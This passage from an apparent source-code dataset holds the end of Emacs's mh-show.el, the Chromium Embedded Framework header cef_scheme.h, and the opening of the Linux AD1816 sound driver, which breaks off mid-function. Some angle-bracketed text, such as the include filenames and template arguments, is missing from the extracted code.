(setq buffer-invisibility-spec '((vanish . t) t))\n  (set (make-local-variable 'line-move-ignore-invisible) t)\n  (make-local-variable 'font-lock-defaults)\n  ;;(set (make-local-variable 'font-lock-support-mode) nil)\n  (cond\n   ((equal mh-highlight-citation-style 'font-lock)\n    (setq font-lock-defaults '(mh-show-font-lock-keywords-with-cite t)))\n   ((equal mh-highlight-citation-style 'gnus)\n    (setq font-lock-defaults '((mh-show-font-lock-keywords)\n                               t nil nil nil\n                               (font-lock-fontify-region-function\n                                . mh-show-font-lock-fontify-region)))\n    (mh-gnus-article-highlight-citation))\n   (t\n    (setq font-lock-defaults '(mh-show-font-lock-keywords t))))\n  (if (and (featurep 'xemacs)\n           font-lock-auto-fontify)\n      (turn-on-font-lock))\n  (when mh-decode-mime-flag\n    (mh-make-local-hook 'kill-buffer-hook)\n    (add-hook 'kill-buffer-hook 'mh-mime-cleanup nil t))\n  (easy-menu-add mh-show-sequence-menu)\n  (easy-menu-add mh-show-message-menu)\n  (easy-menu-add mh-show-folder-menu)\n  (make-local-variable 'mh-show-folder-buffer)\n  (buffer-disable-undo)\n  (use-local-map mh-show-mode-map))\n\n\f\n\n;;; Support Routines\n\n(defun mh-show-unquote-From ()\n  \"Decode >From at beginning of lines for `mh-show-mode'.\"\n  (save-excursion\n    (let ((modified (buffer-modified-p))\n          (case-fold-search nil)\n          (buffer-read-only nil))\n      (goto-char (mh-mail-header-end))\n      (while (re-search-forward \"^>From\" nil t)\n        (replace-match \"From\"))\n      (set-buffer-modified-p modified))))\n\n;;;###mh-autoload\n(defun mh-show-addr ()\n  \"Use `goto-address'.\"\n  (goto-address))\n\n;;;###mh-autoload\n(defun mh-gnus-article-highlight-citation ()\n  \"Highlight cited text in current buffer using Gnus.\"\n  (interactive)\n  ;; Don't allow Gnus to create buttons while highlighting, maybe this is bad\n  ;; style?\n  (mh-flet\n   ((gnus-article-add-button (&rest _args) nil))\n   (let* ((modified (buffer-modified-p))\n          (gnus-article-buffer (buffer-name))\n          (gnus-cite-face-list `(,@(cdr gnus-cite-face-list)\n                                 ,(car gnus-cite-face-list))))\n     (gnus-article-highlight-citation t)\n     (set-buffer-modified-p modified))))\n\n(provide 'mh-show)\n\n;; Local Variables:\n;; indent-tabs-mode: nil\n;; sentence-end-double-space: nil\n;; End:\n\n;;; mh-show.el ends here\n"}
+{"text": "// Copyright (c) 2012 Marshall A. Greenblatt. All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are\n// met:\n//\n//    * Redistributions of source code must retain the above copyright\n// notice, this list of conditions and the following disclaimer.\n//    * Redistributions in binary form must reproduce the above\n// copyright notice, this list of conditions and the following disclaimer\n// in the documentation and/or other materials provided with the\n// distribution.\n//    * Neither the name of Google Inc. nor the name Chromium Embedded\n// Framework nor the names of its contributors may be used to endorse\n// or promote products derived from this software without specific prior\n// written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n// \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n//\n// ---------------------------------------------------------------------------\n//\n// The contents of this file must follow a specific format in order to\n// support the CEF translator tool. See the translator.README.txt file in the\n// tools directory for more information.\n//\n\n#ifndef CEF_INCLUDE_CEF_SCHEME_H_\n#define CEF_INCLUDE_CEF_SCHEME_H_\n#pragma once\n\n#include \"include/cef_base.h\"\n#include \"include/cef_browser.h\"\n#include \"include/cef_frame.h\"\n#include \"include/cef_request.h\"\n#include \"include/cef_response.h\"\n#include \"include/cef_resource_handler.h\"\n\nclass CefSchemeHandlerFactory;\n\n\n///\n// Register a scheme handler factory with the global request context. An empty\n// |domain_name| value for a standard scheme will cause the factory to match all\n// domain names. The |domain_name| value will be ignored for non-standard\n// schemes. If |scheme_name| is a built-in scheme and no handler is returned by\n// |factory| then the built-in scheme handler factory will be called. If\n// |scheme_name| is a custom scheme then you must also implement the\n// CefApp::OnRegisterCustomSchemes() method in all processes. This function may\n// be called multiple times to change or remove the factory that matches the\n// specified |scheme_name| and optional |domain_name|. Returns false if an error\n// occurs. This function may be called on any thread in the browser process.\n// Using this function is equivalent to calling\n// CefRequestContext::GetGlobalContext()->RegisterSchemeHandlerFactory().\n///\n/*--cef(optional_param=domain_name,optional_param=factory)--*/\nbool CefRegisterSchemeHandlerFactory(\n    const CefString& scheme_name,\n    const CefString& domain_name,\n    CefRefPtr factory);\n\n///\n// Clear all scheme handler factories registered with the global request\n// context. Returns false on error. This function may be called on any thread in\n// the browser process. Using this function is equivalent to calling\n// CefRequestContext::GetGlobalContext()->ClearSchemeHandlerFactories().\n///\n/*--cef()--*/\nbool CefClearSchemeHandlerFactories();\n\n\n///\n// Class that manages custom scheme registrations.\n///\n/*--cef(source=library)--*/\nclass CefSchemeRegistrar : public virtual CefBase {\n public:\n  ///\n  // Register a custom scheme. This method should not be called for the built-in\n  // HTTP, HTTPS, FILE, FTP, ABOUT and DATA schemes.\n  //\n  // If |is_standard| is true the scheme will be treated as a standard scheme.\n  // Standard schemes are subject to URL canonicalization and parsing rules as\n  // defined in the Common Internet Scheme Syntax RFC 1738 Section 3.1 available\n  // at http://www.ietf.org/rfc/rfc1738.txt\n  //\n  // In particular, the syntax for standard scheme URLs must be of the form:\n  // 
      \n  //  [scheme]://[username]:[password]@[host]:[port]/[url-path]\n  // 
      \n  // Standard scheme URLs must have a host component that is a fully qualified\n  // domain name as defined in Section 3.5 of RFC 1034 [13] and Section 2.1 of\n  // RFC 1123. These URLs will be canonicalized to \"scheme://host/path\" in the\n  // simplest case and \"scheme://username:password@host:port/path\" in the most\n  // explicit case. For example, \"scheme:host/path\" and \"scheme:///host/path\"\n  // will both be canonicalized to \"scheme://host/path\". The origin of a\n  // standard scheme URL is the combination of scheme, host and port (i.e.,\n  // \"scheme://host:port\" in the most explicit case).\n  //\n  // For non-standard scheme URLs only the \"scheme:\" component is parsed and\n  // canonicalized. The remainder of the URL will be passed to the handler\n  // as-is. For example, \"scheme:///some%20text\" will remain the same.\n  // Non-standard scheme URLs cannot be used as a target for form submission.\n  //\n  // If |is_local| is true the scheme will be treated as local (i.e., with the\n  // same security rules as those applied to \"file\" URLs). Normal pages cannot\n  // link to or access local URLs. Also, by default, local URLs can only perform\n  // XMLHttpRequest calls to the same URL (origin + path) that originated the\n  // request. To allow XMLHttpRequest calls from a local URL to other URLs with\n  // the same origin set the CefSettings.file_access_from_file_urls_allowed\n  // value to true. To allow XMLHttpRequest calls from a local URL to all\n  // origins set the CefSettings.universal_access_from_file_urls_allowed value\n  // to true.\n  //\n  // If |is_display_isolated| is true the scheme will be treated as display-\n  // isolated. This means that pages cannot display these URLs unless they are\n  // from the same scheme. For example, pages in another origin cannot create\n  // iframes or hyperlinks to URLs with this scheme.\n  //\n  // This function may be called on any thread. It should only be called once\n  // per unique |scheme_name| value. If |scheme_name| is already registered or\n  // if an error occurs this method will return false.\n  ///\n  /*--cef()--*/\n  virtual bool AddCustomScheme(const CefString& scheme_name,\n                               bool is_standard,\n                               bool is_local,\n                               bool is_display_isolated) =0;\n};\n\n\n///\n// Class that creates CefResourceHandler instances for handling scheme requests.\n// The methods of this class will always be called on the IO thread.\n///\n/*--cef(source=client)--*/\nclass CefSchemeHandlerFactory : public virtual CefBase {\n public:\n  ///\n  // Return a new resource handler instance to handle the request or an empty\n  // reference to allow default handling of the request. |browser| and |frame|\n  // will be the browser window and frame respectively that originated the\n  // request or NULL if the request did not originate from a browser window\n  // (for example, if the request came from CefURLRequest). The |request| object\n  // passed to this method will not contain cookie data.\n  ///\n  /*--cef(optional_param=browser,optional_param=frame)--*/\n  virtual CefRefPtr Create(\n      CefRefPtr browser,\n      CefRefPtr frame,\n      const CefString& scheme_name,\n      CefRefPtr request) =0;\n};\n\n#endif  // CEF_INCLUDE_CEF_SCHEME_H_\n"}
+{"text": "/*\n *\n * AD1816 lowlevel sound driver for Linux 2.6.0 and above\n *\n * Copyright (C) 1998-2003 by Thorsten Knabe \n *\n * Based on the CS4232/AD1848 driver Copyright (C) by Hannu Savolainen 1993-1996\n *\n *\n * version: 1.5\n * status: beta\n * date: 2003/07/15\n *\n * Changes:\n *\tOleg Drokin: Some cleanup of load/unload functions.\t1998/11/24\n *\t\n *\tThorsten Knabe: attach and unload rewritten, \n *\tsome argument checks added\t\t\t\t1998/11/30\n *\n *\tThorsten Knabe: Buggy isa bridge workaround added\t1999/01/16\n *\t\n *\tDavid Moews/Thorsten Knabe: Introduced options \n *\tparameter. Added slightly modified patch from \n *\tDavid Moews to disable dsp audio sources by setting \n *\tbit 0 of options parameter. This seems to be\n *\trequired by some Aztech/Newcom SC-16 cards.\t\t1999/04/18\n *\n *\tChristoph Hellwig: Adapted to module_init/module_exit.\t2000/03/03\n *\n *\tChristoph Hellwig: Added isapnp support\t\t\t2000/03/15\n *\n *\tArnaldo Carvalho de Melo: get rid of check_region\t2001/10/07\n *      \n *      Thorsten Knabe: Compiling with CONFIG_PNP enabled\n *\tworks again. It is now possible to use more than one \n *\tAD1816 sound card. Sample rate now may be changed during\n *\tplayback/capture. printk() uses log levels everywhere.\n *\tSMP fixes. DMA handling fixes.\n *\tOther minor code cleanup.\t\t\t\t2003/07/15\n *\n */\n\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \"sound_config.h\"\n\n#define DEBUGNOISE(x)\n\n#define CHECK_FOR_POWER { int timeout=100; \\\n  while (timeout > 0 && (inb(devc->base)&0x80)!= 0x80) {\\\n          timeout--; \\\n  } \\\n  if (timeout==0) {\\\n          printk(KERN_WARNING \"ad1816: Check for power failed in %s line: %d\\n\",__FILE__,__LINE__); \\\n  } \\\n}\n\n/* structure to hold device specific information */\ntypedef struct\n{\n        int            base;          /* set in attach */\n\tint            irq;\n\tint            dma_playback;\n        int            dma_capture;\n  \n\tint            opened;         /* open */\n        int            speed;\t\n\tint            channels;\n\tint            audio_format;\n        int            audio_mode; \n  \n        int            recmask;        /* setup */\n\tunsigned char  format_bits;\n\tint            supported_devices;\n\tint            supported_rec_devices;\n\tunsigned short levels[SOUND_MIXER_NRDEVICES];\n\t\t\t\t\t/* misc */\n\tstruct pnp_dev *pnpdev;\t /* configured via pnp */\n        int            dev_no;   /* this is the # in audio_devs and NOT \n\t\t\t\t    in ad1816_info */\n\tspinlock_t\tlock;  \n} ad1816_info;\n\nstatic int nr_ad1816_devs;\nstatic int ad1816_clockfreq = 33000;\nstatic int options;\n\n/* supported audio formats */\nstatic int  ad_format_mask =\nAFMT_U8 | AFMT_S16_LE | AFMT_S16_BE | AFMT_MU_LAW | AFMT_A_LAW;\n\n/* array of device info structures */\nstatic ad1816_info dev_info[MAX_AUDIO_DEV];\n\n\n/* ------------------------------------------------------------------- */\n\n/* functions for easier access to inderect registers */\n\nstatic int ad_read (ad1816_info * devc, int reg)\n{\n\tint result;\n\t\n\tCHECK_FOR_POWER;\n\toutb ((unsigned char) (reg & 0x3f), devc->base+0);\n\tresult = inb(devc->base+2);\n\tresult+= inb(devc->base+3)<<8;\n\treturn (result);\n}\n\n\nstatic void ad_write (ad1816_info * devc, int reg, int data)\n{\n\tCHECK_FOR_POWER;\n\toutb ((unsigned char) (reg & 0xff), devc->base+0);\n\toutb ((unsigned char) (data & 0xff),devc->base+2);\n\toutb ((unsigned char) ((data>>8)&0xff),devc->base+3);\n}\n\n/* ------------------------------------------------------------------- */\n\n/* function interface required by struct audio_driver */\n\nstatic void ad1816_halt_input (int dev)\n{\n\tunsigned long flags;\n\tad1816_info    *devc = (ad1816_info *) audio_devs[dev]->devc;\n\tunsigned char buffer;\n\t\n\tDEBUGNOISE(printk(KERN_DEBUG \"ad1816: halt_input called\\n\"));\n\t\n\tspin_lock_irqsave(&devc->lock,flags); \n\t\n\tif(!isa_dma_bridge_buggy) {\n\t        disable_dma(audio_devs[dev]->dmap_in->dma);\n\t}\n\t\n\tbuffer=inb(devc->base+9);\n\tif (buffer & 0x01) {\n\t\t/* disable capture */\n\t\toutb(buffer & ~0x01,devc->base+9); \n\t}\n\n\tif(!isa_dma_bridge_buggy) {\n\t        enable_dma(audio_devs[dev]->dmap_in->dma);\n\t}\n\n\t/* Clear interrupt status */\n\toutb (~0x40, devc->base+1);\t\n\t\n\tdevc->audio_mode &= ~PCM_ENABLE_INPUT;\n\tspin_unlock_irqrestore(&devc->lock,flags);\n}\n\nstatic void ad1816_halt_output (int dev)\n{\n\tunsigned long  flags;\n\tad1816_info    *devc = (ad1816_info *) audio_devs[dev]->devc;\n\t\n\tunsigned char buffer;\n\n\tDEBUGNOISE(printk(KERN_DEBUG \"ad1816: halt_output called!\\n\"));\n\n\tspin_lock_irqsave(&devc->lock,flags); \n\t/* Mute pcm output */\n\tad_write(devc, 4, ad_read(devc,4)|0x8080);\n\n\tif(!isa_dma_bridge_buggy) {\n\t        disable_dma(audio_devs[dev]->dmap_out->dma);\n\t}\n\n\tbuffer=inb(devc->base+8);\n\tif (buffer & 0x01) {\n\t\t/* disable capture */\n\t\toutb(buffer & ~0x01,devc->base+8); \n\t}\n\n\tif(!isa_dma_bridge_buggy) {\n\t        enable_dma(audio_devs[dev]->dmap_out->dma);\n\t}\n\n\t/* Clear interrupt status */\n\toutb ((unsigned char)~0x80, devc->base+1);\t\n\n\tdevc->audio_mode &= ~PCM_ENABLE_OUTPUT;\n\tspin_unlock_irqrestore(&devc->lock,flags);\n}\n\nstatic void ad1816_output_block (int dev, unsigned long buf, \n\t\t\t\t int count, int intrflag)\n{\n\tunsigned long flags;\n\tunsigned long cnt;\n\tad1816_info    *devc = (ad1816_info *) audio_devs[dev]->devc;\n\t\n\tDEBUGNOISE(printk(KERN_DEBUG \"ad1816: output_block called buf=%ld count=%d flags=%d\\n\",buf,count,intrflag));\n  \n\tcnt = count/4 - 1;\n  \n\tspin_lock_irqsave(&devc->lock,flags);\n\t\n\t/* set transfer count */\n\tad_write (devc, 8, cnt & 0xffff); \n\t\n\tdevc->audio_mode |= PCM_ENABLE_OUTPUT; \n\tspin_unlock_irqrestore(&devc->lock,flags);\n}\n\n\nstatic void ad1816_start_input (int dev, unsigned long buf, int count,\n\t\t\t\tint intrflag)\n{\n\tunsigned long flags;\n\tunsigned long  cnt;\n\tad1816_info    *devc = (ad1816_info *) audio_devs[dev]->devc;\n\t\n\tDEBUGNOISE(printk(KERN_DEBUG \"ad1816: start_input called buf=%ld count=%d flags=%d\\n\",buf,count,intrflag));\n\n\tcnt = count/4 - 1;\n\n\tspin_lock_irqsave(&devc->lock,flags);\n\n\t/* set transfer count */\n\tad_write (devc, 10, cnt & 0xffff); \n\tdevc->audio_mode |= PCM_ENABLE_INPUT;\n\tspin_unlock_irqrestore(&devc->lock,flags);\n}\n\nstatic int ad1816_prepare_for_input (int dev, int bsize, int bcount)\n{\n\tunsigned long flags;\n\tunsigned int freq;\n\tad1816_info    *devc = (ad1816_info *) audio_devs[dev]->devc;\n\tunsigned char fmt_bits;\n\t\n\tDEBUGNOISE(printk(KERN_DEBUG \"ad1816: prepare_for_input called: bsize=%d bcount=%d\\n\",bsize,bcount));\n\n\tspin_lock_irqsave(&devc->lock,flags);\n\tfmt_bits= (devc->format_bits&0x7)<<3;\n\t\n\t/* set mono/stereo mode */\n\tif (devc->channels > 1) {\n\t\tfmt_bits |=0x4;\n\t}\n\t/* set Mono/Stereo in playback/capture register */\n\toutb( (inb(devc->base+8) & ~0x3C)|fmt_bits, devc->base+8); \n\toutb( (inb(devc->base+9) & ~0x3C)|fmt_bits, devc->base+9);\n\n\tfreq=((unsigned int)devc->speed*33000)/ad1816_clockfreq; \n\n\t/* write playback/capture speeds */\n\tad_write (devc, 2, freq & 0xffff);\t\n\tad_write (devc, 3, freq & 0xffff);\t\n\n\tspin_unlock_irqrestore(&devc->lock,flags);\n\n\tad1816_halt_input(dev);\n\treturn 0;\n}\n\nstatic int ad1816_prepare_for_output (int dev, int bsize, int bcount)\n{\n\tunsigned long flags;\n\tunsigned int freq;\n\tad1816_info    *devc = (ad1816_info *) audio_devs[dev]->devc;\n\tunsigned char fmt_bits;\n\n\tDEBUGNOISE(printk(KERN_DEBUG \"ad1816: prepare_for_output called: bsize=%d bcount=%d\\n\",bsize,bcount));\n\n\tspin_lock_irqsave(&devc->lock,flags);\n\n\tfmt_bits= (devc->format_bits&0x7)<<3;\n\t/* set mono/stereo mode */\n\tif (devc->channels > 1) {\n\t\tfmt_bits |=0x4;\n\t}\n\n\t/* write format bits to playback/capture registers */\n\toutb( (inb(devc->base+8) & ~0x3C)|fmt_bits, devc->base+8); \n\toutb( (inb(devc->base+9) & ~0x3C)|fmt_bits, devc->base+9);\n  \n\tfreq=((unsigned int)devc->speed*33000)/ad1816_clockfreq; \n\t\n\t/* write playback/capture speeds */\n\tad_write (devc, 2, freq & 0xffff);\n\tad_write (devc, 3, freq & 0xffff);\n\n\tspin_unlock_irqrestore(&devc->lock,flags);\n\t\n\tad1816_halt_output(dev);\n\treturn 0;\n\n}\n\nstatic void ad1816_trigger (int dev, int state) \n{\n\tunsigned long flags;\n\tad1816_info    *devc = (ad1816_info *) audio_devs[dev]->devc;\n\n\tDEBUGNOISE(printk(KERN_DEBUG \"ad1816: trigger called! (devc=%d,devc->base=%d\\n\", devc, devc->base));\n\n\t/* mode may have changed */\n\n\tspin_lock_irqsave(&devc->lock,flags);\n\n\t/* mask out modes not specified on open call */\n\tstate &= devc->audio_mode; \n\t\t\t\t\n\t/* setup soundchip to new io-mode */\n\tif (state & PCM_ENABLE_INPUT) {\n\t\t/* enable capture */\n\t\toutb(inb(devc->base+9)|0x01, devc->base+9);\n\t} else {\n\t\t/* disable capture */\n\t\toutb(inb(devc->base+9)&~0x01, devc->base+9);\n\t}\n\n\tif (state & PCM_ENABLE_OUTPUT) {\n\t\t/* enable playback */\n\t\toutb(inb(devc->base+8)|0x01, devc->base+8);\n\t\t/* unmute pcm output */\n\t\tad_write(devc, 4, ad_read(devc,4)&~0x8080);\n\t} else {\n\t\t/* mute pcm output */\n\t\tad_write(devc, 4, ad_read(devc,4)|0x8080);\n\t\t/* disable capture */\n\t\toutb(inb(devc->base+8)&~0x01, devc->base+8);\n\t}\n\tspin_unlock_irqrestore(&devc->lock,flags);\n}\n\n\n/* halt input & output */\nstatic void ad1816_halt (int dev)\n{\n\tad1816_halt_input(dev);\n\tad1816_halt_output(dev);\n}\n\nstatic void ad1816_reset (int dev)\n{\n\tad1816_halt (dev);\n}\n\n/* set playback speed */\nstatic int ad1816_set_speed (int dev, int arg)\n{\n\tunsigned long flags;\n\tunsigned int freq;\n\tint ret;\n\n\tad1816_info    *devc = (ad1816_info *) audio_devs[dev]->devc;\n\t\n\tspin_lock_irqsave(&devc->lock, flags);\n\tif (arg == 0) {\n\t\tret = devc->speed;\n\t\tspin_unlock_irqrestore(&devc->lock, flags);\n\t\treturn ret;\n\t}\n\t/* range checking */\n\tif (arg < 4000) {\n\t\targ = 4000;\n\t}\n\tif (arg > 55000) {\n\t\targ = 55000;\n\t}\n\tdevc->speed = arg;\n\n\t/* change speed during playback */\n\tfreq=((unsigned int)devc->speed*33000)/ad1816_clockfreq; \n\t/* write playback/capture speeds */\n\tad_write (devc, 2, freq & 0xffff);\t\n\tad_write (devc, 3, freq & 0xffff);\t\n\n\tret = devc->speed;\n\tspin_unlock_irqrestore(&devc->lock, flags);\n\treturn ret;\n\n}\n\nstatic unsigned int ad1816_set_bits (int dev, unsigned int arg)\n{\n\tunsigned long flags;\n\tad1816_info    *devc = (ad1816_info *) audio_devs[dev]->devc;\n\t\n\tstatic struct format_tbl {\n\t\tint             format;\n\t\tunsigned char   bits;\n\t} format2bits[] = {\n\t\t{ 0, 0 },\n\t\t{ AFMT_MU_LAW, 1 },\n\t\t{ AFMT_A_LAW, 3 },\n\t\t{ AFMT_IMA_ADPCM, 0 },\n\t\t{ AFMT_U8, 0 },\n\t\t{ AFMT_S16_LE, 2 },\n\t\t{ AFMT_S16_BE, 6 },\n\t\t{ AFMT_S8, 0 },\n\t\t{ AFMT_U16_LE, 0 },\n\t\t{ AFMT_U16_BE, 0 }\n  \t};\n\n\tint  i, n = sizeof (format2bits) / sizeof (struct format_tbl);\n\n\tspin_lock_irqsave(&devc->lock, flags);\n\t/* return current format */\n\tif (arg == 0) {\n\t  \targ = devc->audio_format;\n\t\tspin_unlock_irqrestore(&devc->lock, flags);\n\t\treturn arg;\n\t}\n\tdevc->audio_format = arg;\n\n\t/* search matching format bits */\n\tfor (i = 0; i < n; i++)\n\t\tif (format2bits[i].format == arg) {\n\t\t\tdevc->format_bits = format2bits[i].bits;\n\t\t\tdevc->audio_format = arg;\n\t\t\tspin_unlock_irqrestore(&devc->lock, flags);\n\t\t\treturn arg;\n\t\t}\n\n\t/* Still hanging here. Something must be terribly wrong */\n\tdevc->format_bits = 0;\n\tdevc->audio_format = AFMT_U8;\n\tspin_unlock_irqrestore(&devc->lock, flags);\n\treturn(AFMT_U8); \n}\n\nstatic short ad1816_set_channels (int dev, short arg)\n{\n\tad1816_info    *devc = (ad1816_info *) audio_devs[dev]->devc;\n\n\tif (arg != 1 && arg != 2)\n\t\treturn devc->channels;\n\n\tdevc->channels = arg;\n\treturn arg;\n}\n\n/* open device */\nstatic int ad1816_open (int dev, int mode) \n{\n\tad1816_info    *devc = NULL;\n\tunsigned long   flags;\n\n\t/* is device number valid ? */\n\tif (dev < 0 || dev >= num_audiodevs)\n\t\treturn -(ENXIO);\n\n\t/* get device info of this dev */\n\tdevc = (ad1816_info *) audio_devs[dev]->devc; \n\n\t/* make check if device already open atomic */\n\tspin_lock_irqsave(&devc->lock,flags);\n\n\tif (devc->opened) {\n\t\tspin_unlock_irqrestore(&devc->lock,flags);\n\t\treturn -(EBUSY);\n\t}\n\n\t/* mark device as open */\n\tdevc->opened = 1; \n\n\tdevc->audio_mode = 0;\n\tdevc->speed = 8000;\n\tdevc->audio_format=AFMT_U8;\n\tdevc->channels=1;\n\tspin_unlock_irqrestore(&devc->lock,flags);\n\tad1816_reset(devc->dev_no); /* halt all pending output */\n\treturn 0;\n}\n\nstatic void ad1816_close (int dev) /* close device */\n{\n\tunsigned long flags;\n\tad1816_info    *devc = (ad1816_info *) audio_devs[dev]->devc;\n\n\t/* halt all pending output */\n\tad1816_reset(devc->dev_no); \n\n\tspin_lock_irqsave(&devc->lock,flags);\n\tdevc->opened = 0;\n\tdevc->audio_mode = 0;\n\tdevc->speed = 8000;\n\tdevc->audio_format=AFMT_U8;\n\tdevc->format_bits = 0;\n\tspin_unlock_irqrestore(&devc->lock,flags);\n}\n\n\n/* ------------------------------------------------------------------- */\n\n/* Audio driver structure */\n\nstatic struct audio_driver ad1816_audio_driver =\n{\n\t.owner\t\t\t= THIS_MODULE,\n\t.open\t\t\t= ad1816_open,\n\t.close\t\t\t= ad1816_close,\n\t.output_block\t\t= ad1816_output_block,\n\t.start_input\t\t= ad1816_start_input,\n\t.prepare_for_input\t= ad1816_prepare_for_input,\n\t.prepare_for_output\t= ad1816_prepare_for_output,\n\t.halt_io\t\t= ad1816_halt,\n\t.halt_input\t\t= ad1816_halt_input,\n\t.halt_output\t\t= ad1816_halt_output,\n\t.trigger\t\t= ad1816_trigger,\n\t.set_speed\t\t= ad1816_set_speed,\n\t.set_bits\t\t= ad1816_set_bits,\n\t.set_channels\t\t= ad1816_set_channels,\n};\n\n\n/* ------------------------------------------------------------------- */\n\n/* Interrupt handler */\n\n\nstatic irqreturn_t ad1816_interrupt (int irq, void *dev_id)\n{\n\tunsigned char\tstatus;\n\tad1816_info\t*devc = (ad1816_info *)dev_id;\n\t\n\tif (irq < 0 || irq > 15) {\n\t        printk(KERN_WARNING \"ad1816: Got bogus interrupt %d\\n\", irq);\n\t\treturn IRQ_NONE;\n\t}\n\n\tspin_lock(&devc->lock);\n\n\t/* read interrupt register */\n\tstatus = inb (devc->base+1); \n\t/* Clear all interrupt  */\n\toutb (~status, devc->base+1);\t\n\n\tDEBUGNOISE(printk(KERN_DEBUG \"ad1816: Got interrupt subclass %d\\n\",status));\n\n\tif (status == 0) {\n\t\tDEBUGNOISE(printk(KERN_DEBUG \"ad1816: interrupt: Got interrupt, but no source.\\n\"));\n\t\tspin_unlock(&devc->lock);\n\t\treturn IRQ_NONE;\n\t}\n\n\tif (devc->opened && (devc->audio_mode & PCM_ENABLE_INPUT) && (status&64))\n\t\tDMAbuf_inputintr (devc->dev_no);\n\n\tif (devc->opened && (devc->audio_mode & PCM_ENABLE_OUTPUT) && (status & 128))\n\t\tDMAbuf_outputintr (devc->dev_no, 1);\n\n\tspin_unlock(&devc->lock);\n\treturn IRQ_HANDLED;\n}\n\n/* ------------------------------------------------------------------- */\n\n/* Mixer stuff */\n\nstruct mixer_def {\n\tunsigned int regno: 7;\n\tunsigned int polarity:1;\t/* 0=normal, 1=reversed */\n\tunsigned int bitpos:4;\n\tunsigned int nbits:4;\n};\n\nstatic char mix_cvt[101] = {\n\t 0, 0, 3, 7,10,13,16,19,21,23,26,28,30,32,34,35,37,39,40,42,\n\t43,45,46,47,49,50,51,52,53,55,56,57,58,59,60,61,62,63,64,65,\n\t65,66,67,68,69,70,70,71,72,73,73,74,75,75,76,77,77,78,79,79,\n\t80,81,81,82,82,83,84,84,85,85,86,86,87,87,88,88,89,89,90,90,\n\t91,91,92,92,93,93,94,94,95,95,96,96,96,97,97,98,98,98,99,99,\n\t100\n};\n\ntypedef struct mixer_def mixer_ent;\n\n/*\n * Most of the mixer entries work in backwards. Setting the polarity field\n * makes them to work correctly.\n *\n * The channel numbering used by individual soundcards is not fixed. Some\n * cards have assigned different meanings for the AUX1, AUX2 and LINE inputs.\n * The current version doesn't try to compensate this.\n */\n\n#define MIX_ENT(name, reg_l, pola_l, pos_l, len_l, reg_r, pola_r, pos_r, len_r)\t\\\n  {{reg_l, pola_l, pos_l, len_l}, {reg_r, pola_r, pos_r, len_r}}\n\n\nstatic mixer_ent mix_devices[SOUND_MIXER_NRDEVICES][2] = {\nMIX_ENT(SOUND_MIXER_VOLUME,\t14, 1, 8, 5,\t14, 1, 0, 5),\nMIX_ENT(SOUND_MIXER_BASS,\t 0, 0, 0, 0,\t 0, 0, 0, 0),\nMIX_ENT(SOUND_MIXER_TREBLE,\t 0, 0, 0, 0,\t 0, 0, 0, 0),\nMIX_ENT(SOUND_MIXER_SYNTH,\t 5, 1, 8, 6,\t 5, 1, 0, 6),\nMIX_ENT(SOUND_MIXER_PCM,\t 4, 1, 8, 6,\t 4, 1, 0, 6),\nMIX_ENT(SOUND_MIXER_SPEAKER,\t 0, 0, 0, 0,\t 0, 0, 0, 0),\nMIX_ENT(SOUND_MIXER_LINE,\t18, 1, 8, 5,\t18, 1, 0, 5),\nMIX_ENT(SOUND_MIXER_MIC,\t19, 1, 8, 5,\t19, 1, 0, 5),\nMIX_ENT(SOUND_MIXER_CD,\t \t15, 1, 8, 5,\t15, 1, 0, 5),\nMIX_ENT(SOUND_MIXER_IMIX,\t 0, 0, 0, 0,\t 0, 0, 0, 0),\nMIX_ENT(SOUND_MIXER_ALTPCM,\t 0, 0, 0, 0,\t 0, 0, 0, 0),\nMIX_ENT(SOUND_MIXER_RECLEV,\t20, 0, 8, 4,\t20, 0, 0, 4),\nMIX_ENT(SOUND_MIXER_IGAIN,\t 0, 0, 0, 0,\t 0, 0, 0, 0),\nMIX_ENT(SOUND_MIXER_OGAIN,\t 0, 0, 0, 0,\t 0, 0, 0, 0),\nMIX_ENT(SOUND_MIXER_LINE1, \t17, 1, 8, 5,\t17, 1, 0, 5),\nMIX_ENT(SOUND_MIXER_LINE2,\t16, 1, 8, 5,\t16, 1, 0, 5),\nMIX_ENT(SOUND_MIXER_LINE3,      39, 0, 9, 4,    39, 1, 0, 5)\n};\n\n\nstatic unsigned short default_mixer_levels[SOUND_MIXER_NRDEVICES] =\n{\n\t0x4343,\t\t/* Master Volume */\n\t0x3232,\t\t/* Bass */\n\t0x3232,\t\t/* Treble */\n\t0x0000,\t\t/* FM */\n\t0x4343,\t\t/* PCM */\n\t0x0000,\t\t/* PC Speaker */\n\t0x0000,\t\t/* Ext Line */\n\t0x0000,\t\t/* Mic */\n\t0x0000,\t\t/* CD */\n\t0x0000,\t\t/* Recording monitor */\n\t0x0000,\t\t/* SB PCM */\n\t0x0000,\t\t/* Recording level */\n\t0x0000,\t\t/* Input gain */\n\t0x0000,\t\t/* Output gain */\n\t0x0000,\t\t/* Line1 */\n\t0x0000,\t\t/* Line2 */\n\t0x0000\t\t/* Line3 (usually line in)*/\n};\n\n#define LEFT_CHN\t0\n#define RIGHT_CHN\t1\n\n\n\nstatic int\nad1816_set_recmask (ad1816_info * devc, int mask)\n{\n  \tunsigned long \tflags;\n\tunsigned char   recdev;\n\tint             i, n;\n\t\n\tspin_lock_irqsave(&devc->lock, flags);\n\tmask &= 